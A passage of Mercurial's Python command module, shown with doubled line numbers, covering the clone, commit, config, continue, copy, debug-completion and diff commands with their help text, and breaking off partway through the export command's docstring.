1863 1863 result in substantially faster clones where I/O throughput is plentiful,
1864 1864 especially for larger repositories. A side-effect of --stream clones is
1865 1865 that storage settings and requirements on the remote are applied locally:
1866 1866 a modern client may inherit legacy or inefficient storage used by the
1867 1867 remote or a legacy Mercurial client may not be able to clone from a
1868 1868 modern Mercurial remote.
1869 1869
1870 1870 .. note::
1871 1871
1872 1872 Specifying a tag will include the tagged changeset but not the
1873 1873 changeset containing the tag.
1874 1874
1875 1875 .. container:: verbose
1876 1876
1877 1877 For efficiency, hardlinks are used for cloning whenever the
1878 1878 source and destination are on the same filesystem (note this
1879 1879 applies only to the repository data, not to the working
1880 1880 directory). Some filesystems, such as AFS, implement hardlinking
1881 1881 incorrectly, but do not report errors. In these cases, use the
1882 1882 --pull option to avoid hardlinking.
1883 1883
1884 1884 Mercurial will update the working directory to the first applicable
1885 1885 revision from this list:
1886 1886
1887 1887 a) null if -U or the source repository has no changesets
1888 1888 b) if -u . and the source repository is local, the first parent of
1889 1889 the source repository's working directory
1890 1890 c) the changeset specified with -u (if a branch name, this means the
1891 1891 latest head of that branch)
1892 1892 d) the changeset specified with -r
1893 1893 e) the tipmost head specified with -b
1894 1894 f) the tipmost head specified with the url#branch source syntax
1895 1895 g) the revision marked with the '@' bookmark, if present
1896 1896 h) the tipmost head of the default branch
1897 1897 i) tip
1898 1898
1899 1899 When cloning from servers that support it, Mercurial may fetch
1900 1900 pre-generated data from a server-advertised URL or inline from the
1901 1901 same stream. When this is done, hooks operating on incoming changesets
1902 1902 and changegroups may fire more than once, once for each pre-generated
1903 1903 bundle and as well as for any additional remaining data. In addition,
1904 1904 if an error occurs, the repository may be rolled back to a partial
1905 1905 clone. This behavior may change in future releases.
1906 1906 See :hg:`help -e clonebundles` for more.
1907 1907
1908 1908 Examples:
1909 1909
1910 1910 - clone a remote repository to a new directory named hg/::
1911 1911
1912 1912 hg clone https://www.mercurial-scm.org/repo/hg/
1913 1913
1914 1914 - create a lightweight local clone::
1915 1915
1916 1916 hg clone project/ project-feature/
1917 1917
1918 1918 - clone from an absolute path on an ssh server (note double-slash)::
1919 1919
1920 1920 hg clone ssh://user@server//home/projects/alpha/
1921 1921
1922 1922 - do a streaming clone while checking out a specified version::
1923 1923
1924 1924 hg clone --stream http://server/repo -u 1.5
1925 1925
1926 1926 - create a repository without changesets after a particular revision::
1927 1927
1928 1928 hg clone -r 04e544 experimental/ good/
1929 1929
1930 1930 - clone (and track) a particular named branch::
1931 1931
1932 1932 hg clone https://www.mercurial-scm.org/repo/hg/#stable
1933 1933
1934 1934 See :hg:`help urls` for details on specifying URLs.
1935 1935
1936 1936 Returns 0 on success.
1937 1937 """
1938 1938 opts = pycompat.byteskwargs(opts)
1939 1939 cmdutil.check_at_most_one_arg(opts, b'noupdate', b'updaterev')
1940 1940
1941 1941 # --include/--exclude can come from narrow or sparse.
1942 1942 includepats, excludepats = None, None
1943 1943
1944 1944 # hg.clone() differentiates between None and an empty set. So make sure
1945 1945 # patterns are sets if narrow is requested without patterns.
1946 1946 if opts.get(b'narrow'):
1947 1947 includepats = set()
1948 1948 excludepats = set()
1949 1949
1950 1950 if opts.get(b'include'):
1951 1951 includepats = narrowspec.parsepatterns(opts.get(b'include'))
1952 1952 if opts.get(b'exclude'):
1953 1953 excludepats = narrowspec.parsepatterns(opts.get(b'exclude'))
1954 1954
1955 1955 r = hg.clone(
1956 1956 ui,
1957 1957 opts,
1958 1958 source,
1959 1959 dest,
1960 1960 pull=opts.get(b'pull'),
1961 1961 stream=opts.get(b'stream') or opts.get(b'uncompressed'),
1962 1962 revs=opts.get(b'rev'),
1963 1963 update=opts.get(b'updaterev') or not opts.get(b'noupdate'),
1964 1964 branch=opts.get(b'branch'),
1965 1965 shareopts=opts.get(b'shareopts'),
1966 1966 storeincludepats=includepats,
1967 1967 storeexcludepats=excludepats,
1968 1968 depth=opts.get(b'depth') or None,
1969 1969 )
1970 1970
1971 1971 return r is None
1972 1972
1973 1973
1974 1974 @command(
1975 1975 b'commit|ci',
1976 1976 [
1977 1977 (
1978 1978 b'A',
1979 1979 b'addremove',
1980 1980 None,
1981 1981 _(b'mark new/missing files as added/removed before committing'),
1982 1982 ),
1983 1983 (b'', b'close-branch', None, _(b'mark a branch head as closed')),
1984 1984 (b'', b'amend', None, _(b'amend the parent of the working directory')),
1985 1985 (b's', b'secret', None, _(b'use the secret phase for committing')),
1986 1986 (b'e', b'edit', None, _(b'invoke editor on commit messages')),
1987 1987 (
1988 1988 b'',
1989 1989 b'force-close-branch',
1990 1990 None,
1991 1991 _(b'forcibly close branch from a non-head changeset (ADVANCED)'),
1992 1992 ),
1993 1993 (b'i', b'interactive', None, _(b'use interactive mode')),
1994 1994 ]
1995 1995 + walkopts
1996 1996 + commitopts
1997 1997 + commitopts2
1998 1998 + subrepoopts,
1999 1999 _(b'[OPTION]... [FILE]...'),
2000 2000 helpcategory=command.CATEGORY_COMMITTING,
2001 2001 helpbasic=True,
2002 2002 inferrepo=True,
2003 2003 )
2004 2004 def commit(ui, repo, *pats, **opts):
2005 2005 """commit the specified files or all outstanding changes
2006 2006
2007 2007 Commit changes to the given files into the repository. Unlike a
2008 2008 centralized SCM, this operation is a local operation. See
2009 2009 :hg:`push` for a way to actively distribute your changes.
2010 2010
2011 2011 If a list of files is omitted, all changes reported by :hg:`status`
2012 2012 will be committed.
2013 2013
2014 2014 If you are committing the result of a merge, do not provide any
2015 2015 filenames or -I/-X filters.
2016 2016
2017 2017 If no commit message is specified, Mercurial starts your
2018 2018 configured editor where you can enter a message. In case your
2019 2019 commit fails, you will find a backup of your message in
2020 2020 ``.hg/last-message.txt``.
2021 2021
2022 2022 The --close-branch flag can be used to mark the current branch
2023 2023 head closed. When all heads of a branch are closed, the branch
2024 2024 will be considered closed and no longer listed.
2025 2025
2026 2026 The --amend flag can be used to amend the parent of the
2027 2027 working directory with a new commit that contains the changes
2028 2028 in the parent in addition to those currently reported by :hg:`status`,
2029 2029 if there are any. The old commit is stored in a backup bundle in
2030 2030 ``.hg/strip-backup`` (see :hg:`help bundle` and :hg:`help unbundle`
2031 2031 on how to restore it).
2032 2032
2033 2033 Message, user and date are taken from the amended commit unless
2034 2034 specified. When a message isn't specified on the command line,
2035 2035 the editor will open with the message of the amended commit.
2036 2036
2037 2037 It is not possible to amend public changesets (see :hg:`help phases`)
2038 2038 or changesets that have children.
2039 2039
2040 2040 See :hg:`help dates` for a list of formats valid for -d/--date.
2041 2041
2042 2042 Returns 0 on success, 1 if nothing changed.
2043 2043
2044 2044 .. container:: verbose
2045 2045
2046 2046 Examples:
2047 2047
2048 2048 - commit all files ending in .py::
2049 2049
2050 2050 hg commit --include "set:**.py"
2051 2051
2052 2052 - commit all non-binary files::
2053 2053
2054 2054 hg commit --exclude "set:binary()"
2055 2055
2056 2056 - amend the current commit and set the date to now::
2057 2057
2058 2058 hg commit --amend --date now
2059 2059 """
2060 2060 with repo.wlock(), repo.lock():
2061 2061 return _docommit(ui, repo, *pats, **opts)
2062 2062
2063 2063
2064 2064 def _docommit(ui, repo, *pats, **opts):
2065 2065 if opts.get('interactive'):
2066 2066 opts.pop('interactive')
2067 2067 ret = cmdutil.dorecord(
2068 2068 ui, repo, commit, None, False, cmdutil.recordfilter, *pats, **opts
2069 2069 )
2070 2070 # ret can be 0 (no changes to record) or the value returned by
2071 2071 # commit(), 1 if nothing changed or None on success.
2072 2072 return 1 if ret == 0 else ret
2073 2073
2074 2074 if opts.get('subrepos'):
2075 2075 cmdutil.check_incompatible_arguments(opts, 'subrepos', ['amend'])
2076 2076 # Let --subrepos on the command line override config setting.
2077 2077 ui.setconfig(b'ui', b'commitsubrepos', True, b'commit')
2078 2078
2079 2079 cmdutil.checkunfinished(repo, commit=True)
2080 2080
2081 2081 branch = repo[None].branch()
2082 2082 bheads = repo.branchheads(branch)
2083 2083 tip = repo.changelog.tip()
2084 2084
2085 2085 extra = {}
2086 2086 if opts.get('close_branch') or opts.get('force_close_branch'):
2087 2087 extra[b'close'] = b'1'
2088 2088
2089 2089 if repo[b'.'].closesbranch():
2090 2090 raise error.InputError(
2091 2091 _(b'current revision is already a branch closing head')
2092 2092 )
2093 2093 elif not bheads:
2094 2094 raise error.InputError(
2095 2095 _(b'branch "%s" has no heads to close') % branch
2096 2096 )
2097 2097 elif (
2098 2098 branch == repo[b'.'].branch()
2099 2099 and repo[b'.'].node() not in bheads
2100 2100 and not opts.get('force_close_branch')
2101 2101 ):
2102 2102 hint = _(
2103 2103 b'use --force-close-branch to close branch from a non-head'
2104 2104 b' changeset'
2105 2105 )
2106 2106 raise error.InputError(_(b'can only close branch heads'), hint=hint)
2107 2107 elif opts.get('amend'):
2108 2108 if (
2109 2109 repo[b'.'].p1().branch() != branch
2110 2110 and repo[b'.'].p2().branch() != branch
2111 2111 ):
2112 2112 raise error.InputError(_(b'can only close branch heads'))
2113 2113
2114 2114 if opts.get('amend'):
2115 2115 if ui.configbool(b'ui', b'commitsubrepos'):
2116 2116 raise error.InputError(
2117 2117 _(b'cannot amend with ui.commitsubrepos enabled')
2118 2118 )
2119 2119
2120 2120 old = repo[b'.']
2121 2121 rewriteutil.precheck(repo, [old.rev()], b'amend')
2122 2122
2123 2123 # Currently histedit gets confused if an amend happens while histedit
2124 2124 # is in progress. Since we have a checkunfinished command, we are
2125 2125 # temporarily honoring it.
2126 2126 #
2127 2127 # Note: eventually this guard will be removed. Please do not expect
2128 2128 # this behavior to remain.
2129 2129 if not obsolete.isenabled(repo, obsolete.createmarkersopt):
2130 2130 cmdutil.checkunfinished(repo)
2131 2131
2132 2132 node = cmdutil.amend(ui, repo, old, extra, pats, opts)
2133 2133 opts = pycompat.byteskwargs(opts)
2134 2134 if node == old.node():
2135 2135 ui.status(_(b"nothing changed\n"))
2136 2136 return 1
2137 2137 else:
2138 2138
2139 2139 def commitfunc(ui, repo, message, match, opts):
2140 2140 overrides = {}
2141 2141 if opts.get(b'secret'):
2142 2142 overrides[(b'phases', b'new-commit')] = b'secret'
2143 2143
2144 2144 baseui = repo.baseui
2145 2145 with baseui.configoverride(overrides, b'commit'):
2146 2146 with ui.configoverride(overrides, b'commit'):
2147 2147 editform = cmdutil.mergeeditform(
2148 2148 repo[None], b'commit.normal'
2149 2149 )
2150 2150 editor = cmdutil.getcommiteditor(
2151 2151 editform=editform, **pycompat.strkwargs(opts)
2152 2152 )
2153 2153 return repo.commit(
2154 2154 message,
2155 2155 opts.get(b'user'),
2156 2156 opts.get(b'date'),
2157 2157 match,
2158 2158 editor=editor,
2159 2159 extra=extra,
2160 2160 )
2161 2161
2162 2162 opts = pycompat.byteskwargs(opts)
2163 2163 node = cmdutil.commit(ui, repo, commitfunc, pats, opts)
2164 2164
2165 2165 if not node:
2166 2166 stat = cmdutil.postcommitstatus(repo, pats, opts)
2167 2167 if stat.deleted:
2168 2168 ui.status(
2169 2169 _(
2170 2170 b"nothing changed (%d missing files, see "
2171 2171 b"'hg status')\n"
2172 2172 )
2173 2173 % len(stat.deleted)
2174 2174 )
2175 2175 else:
2176 2176 ui.status(_(b"nothing changed\n"))
2177 2177 return 1
2178 2178
2179 2179 cmdutil.commitstatus(repo, node, branch, bheads, tip, opts)
2180 2180
2181 2181 if not ui.quiet and ui.configbool(b'commands', b'commit.post-status'):
2182 2182 status(
2183 2183 ui,
2184 2184 repo,
2185 2185 modified=True,
2186 2186 added=True,
2187 2187 removed=True,
2188 2188 deleted=True,
2189 2189 unknown=True,
2190 2190 subrepos=opts.get(b'subrepos'),
2191 2191 )
2192 2192
2193 2193
2194 2194 @command(
2195 2195 b'config|showconfig|debugconfig',
2196 2196 [
2197 2197 (b'u', b'untrusted', None, _(b'show untrusted configuration options')),
2198 2198 # This is experimental because we need
2199 2199 # * reasonable behavior around aliases,
2200 2200 # * decide if we display [debug] [experimental] and [devel] section par
2201 2201 # default
2202 2202 # * some way to display "generic" config entry (the one matching
2203 2203 # regexp,
2204 2204 # * proper display of the different value type
2205 2205 # * a better way to handle <DYNAMIC> values (and variable types),
2206 2206 # * maybe some type information ?
2207 2207 (
2208 2208 b'',
2209 2209 b'exp-all-known',
2210 2210 None,
2211 2211 _(b'show all known config option (EXPERIMENTAL)'),
2212 2212 ),
2213 2213 (b'e', b'edit', None, _(b'edit user config')),
2214 2214 (b'l', b'local', None, _(b'edit repository config')),
2215 2215 (b'', b'source', None, _(b'show source of configuration value')),
2216 2216 (
2217 2217 b'',
2218 2218 b'shared',
2219 2219 None,
2220 2220 _(b'edit shared source repository config (EXPERIMENTAL)'),
2221 2221 ),
2222 2222 (b'', b'non-shared', None, _(b'edit non shared config (EXPERIMENTAL)')),
2223 2223 (b'g', b'global', None, _(b'edit global config')),
2224 2224 ]
2225 2225 + formatteropts,
2226 2226 _(b'[-u] [NAME]...'),
2227 2227 helpcategory=command.CATEGORY_HELP,
2228 2228 optionalrepo=True,
2229 2229 intents={INTENT_READONLY},
2230 2230 )
2231 2231 def config(ui, repo, *values, **opts):
2232 2232 """show combined config settings from all hgrc files
2233 2233
2234 2234 With no arguments, print names and values of all config items.
2235 2235
2236 2236 With one argument of the form section.name, print just the value
2237 2237 of that config item.
2238 2238
2239 2239 With multiple arguments, print names and values of all config
2240 2240 items with matching section names or section.names.
2241 2241
2242 2242 With --edit, start an editor on the user-level config file. With
2243 2243 --global, edit the system-wide config file. With --local, edit the
2244 2244 repository-level config file.
2245 2245
2246 2246 With --source, the source (filename and line number) is printed
2247 2247 for each config item.
2248 2248
2249 2249 See :hg:`help config` for more information about config files.
2250 2250
2251 2251 .. container:: verbose
2252 2252
2253 2253 --non-shared flag is used to edit `.hg/hgrc-not-shared` config file.
2254 2254 This file is not shared across shares when in share-safe mode.
2255 2255
2256 2256 Template:
2257 2257
2258 2258 The following keywords are supported. See also :hg:`help templates`.
2259 2259
2260 2260 :name: String. Config name.
2261 2261 :source: String. Filename and line number where the item is defined.
2262 2262 :value: String. Config value.
2263 2263
2264 2264 The --shared flag can be used to edit the config file of shared source
2265 2265 repository. It only works when you have shared using the experimental
2266 2266 share safe feature.
2267 2267
2268 2268 Returns 0 on success, 1 if NAME does not exist.
2269 2269
2270 2270 """
2271 2271
2272 2272 opts = pycompat.byteskwargs(opts)
2273 2273 editopts = (b'edit', b'local', b'global', b'shared', b'non_shared')
2274 2274 if any(opts.get(o) for o in editopts):
2275 2275 cmdutil.check_at_most_one_arg(opts, *editopts[1:])
2276 2276 if opts.get(b'local'):
2277 2277 if not repo:
2278 2278 raise error.InputError(
2279 2279 _(b"can't use --local outside a repository")
2280 2280 )
2281 2281 paths = [repo.vfs.join(b'hgrc')]
2282 2282 elif opts.get(b'global'):
2283 2283 paths = rcutil.systemrcpath()
2284 2284 elif opts.get(b'shared'):
2285 2285 if not repo.shared():
2286 2286 raise error.InputError(
2287 2287 _(b"repository is not shared; can't use --shared")
2288 2288 )
2289 2289 if requirements.SHARESAFE_REQUIREMENT not in repo.requirements:
2290 2290 raise error.InputError(
2291 2291 _(
2292 2292 b"share safe feature not enabled; "
2293 2293 b"unable to edit shared source repository config"
2294 2294 )
2295 2295 )
2296 2296 paths = [vfsmod.vfs(repo.sharedpath).join(b'hgrc')]
2297 2297 elif opts.get(b'non_shared'):
2298 2298 paths = [repo.vfs.join(b'hgrc-not-shared')]
2299 2299 else:
2300 2300 paths = rcutil.userrcpath()
2301 2301
2302 2302 for f in paths:
2303 2303 if os.path.exists(f):
2304 2304 break
2305 2305 else:
2306 2306 if opts.get(b'global'):
2307 2307 samplehgrc = uimod.samplehgrcs[b'global']
2308 2308 elif opts.get(b'local'):
2309 2309 samplehgrc = uimod.samplehgrcs[b'local']
2310 2310 else:
2311 2311 samplehgrc = uimod.samplehgrcs[b'user']
2312 2312
2313 2313 f = paths[0]
2314 2314 fp = open(f, b"wb")
2315 2315 fp.write(util.tonativeeol(samplehgrc))
2316 2316 fp.close()
2317 2317
2318 2318 editor = ui.geteditor()
2319 2319 ui.system(
2320 2320 b"%s \"%s\"" % (editor, f),
2321 2321 onerr=error.InputError,
2322 2322 errprefix=_(b"edit failed"),
2323 2323 blockedtag=b'config_edit',
2324 2324 )
2325 2325 return
2326 2326 ui.pager(b'config')
2327 2327 fm = ui.formatter(b'config', opts)
2328 2328 for t, f in rcutil.rccomponents():
2329 2329 if t == b'path':
2330 2330 ui.debug(b'read config from: %s\n' % f)
2331 2331 elif t == b'resource':
2332 2332 ui.debug(b'read config from: resource:%s.%s\n' % (f[0], f[1]))
2333 2333 elif t == b'items':
2334 2334 # Don't print anything for 'items'.
2335 2335 pass
2336 2336 else:
2337 2337 raise error.ProgrammingError(b'unknown rctype: %s' % t)
2338 2338 untrusted = bool(opts.get(b'untrusted'))
2339 2339
2340 2340 selsections = selentries = []
2341 2341 if values:
2342 2342 selsections = [v for v in values if b'.' not in v]
2343 2343 selentries = [v for v in values if b'.' in v]
2344 2344 uniquesel = len(selentries) == 1 and not selsections
2345 2345 selsections = set(selsections)
2346 2346 selentries = set(selentries)
2347 2347
2348 2348 matched = False
2349 2349 all_known = opts[b'exp_all_known']
2350 2350 show_source = ui.debugflag or opts.get(b'source')
2351 2351 entries = ui.walkconfig(untrusted=untrusted, all_known=all_known)
2352 2352 for section, name, value in entries:
2353 2353 source = ui.configsource(section, name, untrusted)
2354 2354 value = pycompat.bytestr(value)
2355 2355 defaultvalue = ui.configdefault(section, name)
2356 2356 if fm.isplain():
2357 2357 source = source or b'none'
2358 2358 value = value.replace(b'\n', b'\\n')
2359 2359 entryname = section + b'.' + name
2360 2360 if values and not (section in selsections or entryname in selentries):
2361 2361 continue
2362 2362 fm.startitem()
2363 2363 fm.condwrite(show_source, b'source', b'%s: ', source)
2364 2364 if uniquesel:
2365 2365 fm.data(name=entryname)
2366 2366 fm.write(b'value', b'%s\n', value)
2367 2367 else:
2368 2368 fm.write(b'name value', b'%s=%s\n', entryname, value)
2369 2369 if formatter.isprintable(defaultvalue):
2370 2370 fm.data(defaultvalue=defaultvalue)
2371 2371 elif isinstance(defaultvalue, list) and all(
2372 2372 formatter.isprintable(e) for e in defaultvalue
2373 2373 ):
2374 2374 fm.data(defaultvalue=fm.formatlist(defaultvalue, name=b'value'))
2375 2375 # TODO: no idea how to process unsupported defaultvalue types
2376 2376 matched = True
2377 2377 fm.end()
2378 2378 if matched:
2379 2379 return 0
2380 2380 return 1
2381 2381
2382 2382
2383 2383 @command(
2384 2384 b'continue',
2385 2385 dryrunopts,
2386 2386 helpcategory=command.CATEGORY_CHANGE_MANAGEMENT,
2387 2387 helpbasic=True,
2388 2388 )
2389 2389 def continuecmd(ui, repo, **opts):
2390 2390 """resumes an interrupted operation (EXPERIMENTAL)
2391 2391
2392 2392 Finishes a multistep operation like graft, histedit, rebase, merge,
2393 2393 and unshelve if they are in an interrupted state.
2394 2394
2395 2395 use --dry-run/-n to dry run the command.
2396 2396 """
2397 2397 dryrun = opts.get('dry_run')
2398 2398 contstate = cmdutil.getunfinishedstate(repo)
2399 2399 if not contstate:
2400 2400 raise error.StateError(_(b'no operation in progress'))
2401 2401 if not contstate.continuefunc:
2402 2402 raise error.StateError(
2403 2403 (
2404 2404 _(b"%s in progress but does not support 'hg continue'")
2405 2405 % (contstate._opname)
2406 2406 ),
2407 2407 hint=contstate.continuemsg(),
2408 2408 )
2409 2409 if dryrun:
2410 2410 ui.status(_(b'%s in progress, will be resumed\n') % (contstate._opname))
2411 2411 return
2412 2412 return contstate.continuefunc(ui, repo)
2413 2413
2414 2414
2415 2415 @command(
2416 2416 b'copy|cp',
2417 2417 [
2418 2418 (b'', b'forget', None, _(b'unmark a destination file as copied')),
2419 2419 (b'A', b'after', None, _(b'record a copy that has already occurred')),
2420 2420 (
2421 2421 b'',
2422 2422 b'at-rev',
2423 2423 b'',
2424 2424 _(b'(un)mark copies in the given revision (EXPERIMENTAL)'),
2425 2425 _(b'REV'),
2426 2426 ),
2427 2427 (
2428 2428 b'f',
2429 2429 b'force',
2430 2430 None,
2431 2431 _(b'forcibly copy over an existing managed file'),
2432 2432 ),
2433 2433 ]
2434 2434 + walkopts
2435 2435 + dryrunopts,
2436 2436 _(b'[OPTION]... (SOURCE... DEST | --forget DEST...)'),
2437 2437 helpcategory=command.CATEGORY_FILE_CONTENTS,
2438 2438 )
2439 2439 def copy(ui, repo, *pats, **opts):
2440 2440 """mark files as copied for the next commit
2441 2441
2442 2442 Mark dest as having copies of source files. If dest is a
2443 2443 directory, copies are put in that directory. If dest is a file,
2444 2444 the source must be a single file.
2445 2445
2446 2446 By default, this command copies the contents of files as they
2447 2447 exist in the working directory. If invoked with -A/--after, the
2448 2448 operation is recorded, but no copying is performed.
2449 2449
2450 2450 To undo marking a destination file as copied, use --forget. With that
2451 2451 option, all given (positional) arguments are unmarked as copies. The
2452 2452 destination file(s) will be left in place (still tracked). Note that
2453 2453 :hg:`copy --forget` behaves the same way as :hg:`rename --forget`.
2454 2454
2455 2455 This command takes effect with the next commit by default.
2456 2456
2457 2457 Returns 0 on success, 1 if errors are encountered.
2458 2458 """
2459 2459 opts = pycompat.byteskwargs(opts)
2460 2460 with repo.wlock():
2461 2461 return cmdutil.copy(ui, repo, pats, opts)
2462 2462
2463 2463
2464 2464 @command(
2465 2465 b'debugcommands',
2466 2466 [],
2467 2467 _(b'[COMMAND]'),
2468 2468 helpcategory=command.CATEGORY_HELP,
2469 2469 norepo=True,
2470 2470 )
2471 2471 def debugcommands(ui, cmd=b'', *args):
2472 2472 """list all available commands and options"""
2473 2473 for cmd, vals in sorted(pycompat.iteritems(table)):
2474 2474 cmd = cmd.split(b'|')[0]
2475 2475 opts = b', '.join([i[1] for i in vals[1]])
2476 2476 ui.write(b'%s: %s\n' % (cmd, opts))
2477 2477
2478 2478
2479 2479 @command(
2480 2480 b'debugcomplete',
2481 2481 [(b'o', b'options', None, _(b'show the command options'))],
2482 2482 _(b'[-o] CMD'),
2483 2483 helpcategory=command.CATEGORY_HELP,
2484 2484 norepo=True,
2485 2485 )
2486 2486 def debugcomplete(ui, cmd=b'', **opts):
2487 2487 """returns the completion list associated with the given command"""
2488 2488
2489 2489 if opts.get('options'):
2490 2490 options = []
2491 2491 otables = [globalopts]
2492 2492 if cmd:
2493 2493 aliases, entry = cmdutil.findcmd(cmd, table, False)
2494 2494 otables.append(entry[1])
2495 2495 for t in otables:
2496 2496 for o in t:
2497 2497 if b"(DEPRECATED)" in o[3]:
2498 2498 continue
2499 2499 if o[0]:
2500 2500 options.append(b'-%s' % o[0])
2501 2501 options.append(b'--%s' % o[1])
2502 2502 ui.write(b"%s\n" % b"\n".join(options))
2503 2503 return
2504 2504
2505 2505 cmdlist, unused_allcmds = cmdutil.findpossible(cmd, table)
2506 2506 if ui.verbose:
2507 2507 cmdlist = [b' '.join(c[0]) for c in cmdlist.values()]
2508 2508 ui.write(b"%s\n" % b"\n".join(sorted(cmdlist)))
2509 2509
2510 2510
2511 2511 @command(
2512 2512 b'diff',
2513 2513 [
2514 2514 (b'r', b'rev', [], _(b'revision (DEPRECATED)'), _(b'REV')),
2515 2515 (b'', b'from', b'', _(b'revision to diff from'), _(b'REV1')),
2516 2516 (b'', b'to', b'', _(b'revision to diff to'), _(b'REV2')),
2517 2517 (b'c', b'change', b'', _(b'change made by revision'), _(b'REV')),
2518 2518 ]
2519 2519 + diffopts
2520 2520 + diffopts2
2521 2521 + walkopts
2522 2522 + subrepoopts,
2523 2523 _(b'[OPTION]... ([-c REV] | [--from REV1] [--to REV2]) [FILE]...'),
2524 2524 helpcategory=command.CATEGORY_FILE_CONTENTS,
2525 2525 helpbasic=True,
2526 2526 inferrepo=True,
2527 2527 intents={INTENT_READONLY},
2528 2528 )
2529 2529 def diff(ui, repo, *pats, **opts):
2530 2530 """diff repository (or selected files)
2531 2531
2532 2532 Show differences between revisions for the specified files.
2533 2533
2534 2534 Differences between files are shown using the unified diff format.
2535 2535
2536 2536 .. note::
2537 2537
2538 2538 :hg:`diff` may generate unexpected results for merges, as it will
2539 2539 default to comparing against the working directory's first
2540 2540 parent changeset if no revisions are specified.
2541 2541
2542 2542 By default, the working directory files are compared to its first parent. To
2543 2543 see the differences from another revision, use --from. To see the difference
2544 2544 to another revision, use --to. For example, :hg:`diff --from .^` will show
2545 2545 the differences from the working copy's grandparent to the working copy,
2546 2546 :hg:`diff --to .` will show the diff from the working copy to its parent
2547 2547 (i.e. the reverse of the default), and :hg:`diff --from 1.0 --to 1.2` will
2548 2548 show the diff between those two revisions.
2549 2549
2550 2550 Alternatively you can specify -c/--change with a revision to see the changes
2551 2551 in that changeset relative to its first parent (i.e. :hg:`diff -c 42` is
2552 2552 equivalent to :hg:`diff --from 42^ --to 42`)
2553 2553
2554 2554 Without the -a/--text option, diff will avoid generating diffs of
2555 2555 files it detects as binary. With -a, diff will generate a diff
2556 2556 anyway, probably with undesirable results.
2557 2557
2558 2558 Use the -g/--git option to generate diffs in the git extended diff
2559 2559 format. For more information, read :hg:`help diffs`.
2560 2560
2561 2561 .. container:: verbose
2562 2562
2563 2563 Examples:
2564 2564
2565 2565 - compare a file in the current working directory to its parent::
2566 2566
2567 2567 hg diff foo.c
2568 2568
2569 2569 - compare two historical versions of a directory, with rename info::
2570 2570
2571 2571 hg diff --git --from 1.0 --to 1.2 lib/
2572 2572
2573 2573 - get change stats relative to the last change on some date::
2574 2574
2575 2575 hg diff --stat --from "date('may 2')"
2576 2576
2577 2577 - diff all newly-added files that contain a keyword::
2578 2578
2579 2579 hg diff "set:added() and grep(GNU)"
2580 2580
2581 2581 - compare a revision and its parents::
2582 2582
2583 2583 hg diff -c 9353 # compare against first parent
2584 2584 hg diff --from 9353^ --to 9353 # same using revset syntax
2585 2585 hg diff --from 9353^2 --to 9353 # compare against the second parent
2586 2586
2587 2587 Returns 0 on success.
2588 2588 """
2589 2589
2590 2590 cmdutil.check_at_most_one_arg(opts, 'rev', 'change')
2591 2591 opts = pycompat.byteskwargs(opts)
2592 2592 revs = opts.get(b'rev')
2593 2593 change = opts.get(b'change')
2594 2594 from_rev = opts.get(b'from')
2595 2595 to_rev = opts.get(b'to')
2596 2596 stat = opts.get(b'stat')
2597 2597 reverse = opts.get(b'reverse')
2598 2598
2599 2599 cmdutil.check_incompatible_arguments(opts, b'from', [b'rev', b'change'])
2600 2600 cmdutil.check_incompatible_arguments(opts, b'to', [b'rev', b'change'])
2601 2601 if change:
2602 2602 repo = scmutil.unhidehashlikerevs(repo, [change], b'nowarn')
2603 2603 ctx2 = logcmdutil.revsingle(repo, change, None)
2604 2604 ctx1 = logcmdutil.diff_parent(ctx2)
2605 2605 elif from_rev or to_rev:
2606 2606 repo = scmutil.unhidehashlikerevs(
2607 2607 repo, [from_rev] + [to_rev], b'nowarn'
2608 2608 )
2609 2609 ctx1 = logcmdutil.revsingle(repo, from_rev, None)
2610 2610 ctx2 = logcmdutil.revsingle(repo, to_rev, None)
2611 2611 else:
2612 2612 repo = scmutil.unhidehashlikerevs(repo, revs, b'nowarn')
2613 2613 ctx1, ctx2 = logcmdutil.revpair(repo, revs)
2614 2614
2615 2615 if reverse:
2616 2616 ctxleft = ctx2
2617 2617 ctxright = ctx1
2618 2618 else:
2619 2619 ctxleft = ctx1
2620 2620 ctxright = ctx2
2621 2621
2622 2622 diffopts = patch.diffallopts(ui, opts)
2623 2623 m = scmutil.match(ctx2, pats, opts)
2624 2624 m = repo.narrowmatch(m)
2625 2625 ui.pager(b'diff')
2626 2626 logcmdutil.diffordiffstat(
2627 2627 ui,
2628 2628 repo,
2629 2629 diffopts,
2630 2630 ctxleft,
2631 2631 ctxright,
2632 2632 m,
2633 2633 stat=stat,
2634 2634 listsubrepos=opts.get(b'subrepos'),
2635 2635 root=opts.get(b'root'),
2636 2636 )
2637 2637
2638 2638
2639 2639 @command(
2640 2640 b'export',
2641 2641 [
2642 2642 (
2643 2643 b'B',
2644 2644 b'bookmark',
2645 2645 b'',
2646 2646 _(b'export changes only reachable by given bookmark'),
2647 2647 _(b'BOOKMARK'),
2648 2648 ),
2649 2649 (
2650 2650 b'o',
2651 2651 b'output',
2652 2652 b'',
2653 2653 _(b'print output to file with formatted name'),
2654 2654 _(b'FORMAT'),
2655 2655 ),
2656 2656 (b'', b'switch-parent', None, _(b'diff against the second parent')),
2657 2657 (b'r', b'rev', [], _(b'revisions to export'), _(b'REV')),
2658 2658 ]
2659 2659 + diffopts
2660 2660 + formatteropts,
2661 2661 _(b'[OPTION]... [-o OUTFILESPEC] [-r] [REV]...'),
2662 2662 helpcategory=command.CATEGORY_IMPORT_EXPORT,
2663 2663 helpbasic=True,
2664 2664 intents={INTENT_READONLY},
2665 2665 )
2666 2666 def export(ui, repo, *changesets, **opts):
2667 2667 """dump the header and diffs for one or more changesets
2668 2668
2669 2669 Print the changeset header and diffs for one or more revisions.
2670 2670 If no revision is given, the parent of the working directory is used.
2671 2671
2672 2672 The information shown in the changeset header is: author, date,
2673 2673 branch name (if non-default), changeset hash, parent(s) and commit
2674 2674 comment.
2675 2675
2676 2676 .. note::
2677 2677
2678 2678 :hg:`export` may generate unexpected diff output for merge
2679 2679 changesets, as it will compare the merge changeset against its
2680 2680 first parent only.
2681 2681
2682 2682 Output may be to a file, in which case the name of the file is
2683 2683 given using a template string. See :hg:`help templates`. In addition
2684 2684 to the common template keywords, the following formatting rules are
2685 2685 supported:
2686 2686
2687 2687 :``%%``: literal "%" character
2688 2688 :``%H``: changeset hash (40 hexadecimal digits)
2689 2689 :``%N``: number of patches being generated
2690 2690 :``%R``: changeset revision number
2691 2691 :``%b``: basename of the exporting repository
2692 2692 :``%h``: short-form changeset hash (12 hexadecimal digits)
2693 2693 :``%m``: first line of the commit message (only alphanumeric characters)
2694 2694 :``%n``: zero-padded sequence number, starting at 1
